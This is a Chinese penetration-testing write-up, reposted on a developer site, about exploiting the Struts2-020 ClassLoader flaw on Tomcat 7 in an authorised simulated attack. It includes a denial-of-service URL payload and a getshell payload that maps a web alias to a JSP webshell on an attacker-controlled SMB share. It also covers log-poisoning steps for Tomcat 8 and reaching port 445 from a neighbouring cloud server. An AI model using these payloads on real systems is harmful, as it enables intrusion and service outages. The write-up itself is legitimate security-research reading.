在云环境下Tomcat7存在Struts2-020如何Getshell

栏目: IT技术 · 发布时间: 6年前

内容简介:在一次给某甲方做模拟攻击中发现某网站存在Struts2-020,但是中间件是tomcat7不能直接getshell。Object是java的基础类,所有的class生成的对象,都会继承Object的所有属性和方法,因此当前action无论是什么代码,必须有Object自带的getClass方法,这个方法会返回一个Class对象,Class对象又一定会有getClassLoader方法,最终在每个action都可以操控class。Struts2-020允许访问直接映射到“getClass()”方法的“clas

在一次给某甲方做模拟攻击中发现某网站存在Struts2-020,但是中间件是tomcat7不能直接getshell。

一、Struts2-020漏洞原理

Object是 java 的基础类,所有的class生成的对象,都会继承Object的所有属性和方法,因此当前action无论是什么代码,必须有Object自带的getClass方法,这个方法会返回一个Class对象,Class对象又一定会有getClassLoader方法,最终在每个action都可以操控class。Struts2-020允许访问直接映射到“getClass()”方法的“class”参数 ,这可以被利用来操纵所使用的应用程序服务器的ClassLoader。简而言之就是可以通过ClassLoader操控Tomcat的一些配置属性,这个漏洞在Tomcat8下是可以getshell的。如下图为tomcat8部分可控属性。

在云环境下Tomcat7存在Struts2-020如何Getshell

Tomcat8如何getshell在网上一大堆这里就不演示了,大概步骤如下

1.更改Tomcat log为可执行文件,更改log文件名,更改日志路径至web目录下
2.初始化日志文件
3.通过URL访问,在日志中写入一句话
4.菜刀连接一句话成功getshell

二、Tomcat7如何getshell?

一开始以为struts2-010在tomcat下都能getshell,疯狂操作下一直失败,百度后才知道tomcat7无法操控日志属性。只能重定向web目录造成拒绝服务攻击。

拒绝服务攻击:

http://127.0.0.1/s/example/HelloWorld.action?
class.classLoader.resources.dirContext.docBase=”乱填就好”

但是只挖到一个拒绝服务攻击无法向甲方交差呀,甲方交不了差,老板就不高兴,老板不高兴,我的绩效考核危矣。拒绝服务攻击更是不敢打,上次模拟攻击把甲方服务打瘫了,最后一个外包也离我而去了,难顶还是得顶。

2.1本地枯燥调试

无奈之下只能在本地搭建环境把所有可操控的属性枚举出来。

在云环境下Tomcat7存在Struts2-020如何Getshell

把一个个属性试过去,看是否能利用的,挨个简单更改属性值后通过日志和变化来判断,发现并不能getshell,当我正要放弃的时候脑子里飘过一个红色的身影,亲切地对我说没有攻不破的系统,只有不努力的黑客。瞬间斗志满满!!!

2.2谷歌大法好

谷歌作为技术人员的好朋友,碰到技术问题谷歌就对了,一顿搜索之后在一篇老毛子写的文章中写到class.classLoader.parent.resources.dirContext.aliases不仅仅可以任意文件读取,文件路径是支持UNC path的即smb路径。这时候我就想既然支持SMB路径,搞个文件共享时候能执行命令?只要把文件共享设置为eve任何人可以访问就可以让网站读取到可执行文件,指不定就能执行了!!!

2.3本地搭建SMB服务并测试

搭建过程操作不难,在文件共享中放入一句话木马,再把网站的别名路径映射到SMB服务器。

Payload:

http://127.0.0.1:8080/struts2-blank/hello.action? 
class.classLoader.parent.resources.dirContext.aliases=\\192.168.1.1\muma.jsp

菜刀一连成功连接:

在云环境下Tomcat7存在Struts2-020如何Getshell

三、云环境测试

因为目标是在云环境上,众所周知云环境大部分都是不对外开放445端口的。但是通过信息收集发现所在目标是在一个野鸡云环境上,因为之前接触过几家野鸡云服务器厂商,他们C段的445端口是互通的。我就在想这家厂商是否也存在这样的配置漏洞?

3.1金钱的力量

本来想在C段撸下一台服务器作为SMB服务器的,但是作为正义的白帽子怎么能做此等龌龊的事?只能把方案提出来,提交到上级申请经费。最后以目标IP旁边的某个IP数字吉利为由,通过客服以1.5倍的价格买下了目标相邻的服务器,最终发现的确存在配置不当。C段的445端口可以相互访问从而Getshell成功。

四、最后

网站渗透很少有一个POC或者EXP直接打穿的,遇到难题多思考,多搜索。不要放弃,不断尝试,尝试着尝试着就成功了

*本文作者:꧁,转载请注明来自FreeBuf.COM


以上所述就是小编给大家介绍的《在云环境下Tomcat7存在Struts2-020如何Getshell》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Pro JavaScript Techniques

Pro JavaScript Techniques

John Resig / Apress / 2006-12-13 / USD 44.99

Pro JavaScript Techniques is the ultimate JavaScript book for the modern web developer. It provides everything you need to know about modern JavaScript, and shows what JavaScript can do for your web s......一起来看看 《Pro JavaScript Techniques》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

在线进制转换器
在线进制转换器

各进制数互转换器

URL 编码/解码
URL 编码/解码

URL 编码/解码